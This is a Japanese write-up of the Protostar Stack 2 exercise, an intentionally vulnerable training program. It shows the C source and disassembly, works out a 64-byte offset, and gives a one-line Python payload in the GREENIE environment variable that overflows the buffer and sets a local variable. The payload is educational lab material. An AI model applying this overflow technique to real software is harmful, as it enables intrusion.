protostar stack 2 writeup

## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack2を解いたので,そのwriteupを書いていく

### Stack 2
ソースコードはこんな感じ

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

「you have correctly modified the variable」を出力させてみる.
例のごとくバッファオーバーフロー脆弱性が存在しているのでコレを利用する.

バイナリのmain関数はこんな感じ

$ objdump -d ./stack2 | grep main\>: -A33
08048494 <main>:
 8048494:	55                   	push   ebp
 8048495:	89 e5                	mov    ebp,esp
 8048497:	83 e4 f0             	and    esp,0xfffffff0
 804849a:	83 ec 60             	sub    esp,0x60
 804849d:	c7 04 24 e0 85 04 08 	mov    DWORD PTR [esp],0x80485e0
 80484a4:	e8 d3 fe ff ff       	call   804837c <getenv@plt>
 80484a9:	89 44 24 5c          	mov    DWORD PTR [esp+0x5c],eax
 80484ad:	83 7c 24 5c 00       	cmp    DWORD PTR [esp+0x5c],0x0
 80484b2:	75 14                	jne    80484c8 <main+0x34>
 80484b4:	c7 44 24 04 e8 85 04 	mov    DWORD PTR [esp+0x4],0x80485e8
 80484bb:	08 
 80484bc:	c7 04 24 01 00 00 00 	mov    DWORD PTR [esp],0x1
 80484c3:	e8 f4 fe ff ff       	call   80483bc <errx@plt>
 80484c8:	c7 44 24 58 00 00 00 	mov    DWORD PTR [esp+0x58],0x0
 80484cf:	00 
 80484d0:	8b 44 24 5c          	mov    eax,DWORD PTR [esp+0x5c]
 80484d4:	89 44 24 04          	mov    DWORD PTR [esp+0x4],eax
 80484d8:	8d 44 24 18          	lea    eax,[esp+0x18]
 80484dc:	89 04 24             	mov    DWORD PTR [esp],eax
 80484df:	e8 b8 fe ff ff       	call   804839c <strcpy@plt>
 80484e4:	8b 44 24 58          	mov    eax,DWORD PTR [esp+0x58]
 80484e8:	3d 0a 0d 0a 0d       	cmp    eax,0xd0a0d0a
 80484ed:	75 0e                	jne    80484fd <main+0x69>
 80484ef:	c7 04 24 18 86 04 08 	mov    DWORD PTR [esp],0x8048618
 80484f6:	e8 d1 fe ff ff       	call   80483cc <puts@plt>
 80484fb:	eb 15                	jmp    8048512 <main+0x7e>
 80484fd:	8b 54 24 58          	mov    edx,DWORD PTR [esp+0x58]
 8048501:	b8 41 86 04 08       	mov    eax,0x8048641
 8048506:	89 54 24 04          	mov    DWORD PTR [esp+0x4],edx
 804850a:	89 04 24             	mov    DWORD PTR [esp],eax
 804850d:	e8 9a fe ff ff       	call   80483ac <printf@plt>
 8048512:	c9                   	leave  
 8048513:	c3                   	ret    

見た感じ[esp+0x58]がmodified, [esp+0x18]がbufferっぽい.
0x58-0x18=0x40, 10進数で64.
つまり64バイト+"0x0d0a0d0a"をbufferに送り込めばいい.
今回気になる所は環境変数を使っている点だ.
getenv関数でGREENIEの値を取得しvariableに入れている.
ということで環境変数GREENIEを用意しそこに値を入れる.

$ export GREENIE=$(python -c 'print "A"*64 + "\x0a\x0d\x0a\x0d"')

そして実行してみる.

$ ./stack2
you have correctly modified the variable

成功した.

Stack2 おわり